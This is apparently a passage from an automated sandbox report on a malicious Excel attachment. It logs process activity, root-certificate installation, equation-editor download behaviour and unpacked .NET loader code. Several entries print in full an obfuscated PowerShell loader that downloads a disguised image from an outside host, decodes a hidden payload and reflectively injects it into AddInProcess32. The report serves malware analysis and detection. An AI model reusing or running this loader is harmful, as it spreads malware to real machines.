Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64win.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wow64cpu.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: bcrypt.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: wbemcomn2.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rpcrtremote.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: credssp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: RunPE.pdb source: powershell.exe, 00000006.00000002.478276037.0000000000270000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.482820667.00000000062C1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.479060921.00000000025B5000.00000004.00000800.00020000.00000000.sdmp
Source: orden de compra.xlam.xlsx Initial sample: OLE indicators vbamacros = False

Data Obfuscation
barindex
.NET source code contains potential unpacker
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Source: 6.2.powershell.exe.270000.0.raw.unpack, RunPEE.cs .Net Code: Run4 System.Reflection.Assembly.Load(byte[])
Obfuscated command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )" Jump to behavior
Suspicious powershell command line found
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )" Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_0029A4C1 push esi; ret 6_2_0029A4D2
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_0029A755 push ebx; ret 6_2_0029A756
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_00298FC5 push eax; ret 6_2_00298FC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_005B1850 pushad ; ret 8_2_005B1859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe Code function: 8_2_005B29B4 pushfd ; retf 8_2_005B29BD
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.63545dc.3.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'
Source: 6.2.powershell.exe.270000.0.raw.unpack, Home.cs High entropy of concatenated method names: 'VAI', 'ReverseString', 'wj8oxcKQMhWyu3MiMB', 'eL61cEhr3TEsU6jQVJ', 'Xd0LwFzhEBVfQPGGSn', 'rQcd3TTSI6lCVHMl6JH', 'rbJryoTTdjpvdQgZCqq', 'WaP97STAZD9pAa0scHE', 'XMNkWLT7BBsCZiElwGi', 'yaMjewTLB6ko7gsuukK'
Source: 6.2.powershell.exe.270000.0.raw.unpack, RunPEE.cs High entropy of concatenated method names: 'Ande', 'Run3', 'Run4', 'TryRun', 'LoadLibraryA', 'GetProcAddress', 'LoadApi', 'HandleRun', 'rBogTi80hXY4MBxwGs', 'oORNlfqPK7qWaCHWnV'
Source: 6.2.powershell.exe.270000.0.raw.unpack, Class2.cs High entropy of concatenated method names: 'Start', 'sKo86fe9HGSnuwD9Ru', 'jdCsFhaPKJKkHAuFtI', 'ljlkD5QJDjiBlqQVUp', 'KoLdFvvo7Bp3WbpvJo', 'BKD5yIXBRqe4pqYdO2', 'O8M2MxIrcxBqL8Y6kA', 'FIoy5YnpW2lcjrJgZm', 'U7bGgk34FJ6pe9MuuE', 'qgy00q9HW7w1Ngk0MQ'

Persistence and Installation Behavior
barindex
Installs new ROOT certificates
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob Jump to behavior
Contains functionality to download and launch executables
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_035205CF URLDownloadToFileW,ShellExecuteW,ExitProcess, 2_2_035205CF
Stores large binary data to the registry
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3F728A35DE52B2C8994A4FB101A03B95E87B06C8 Blob Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
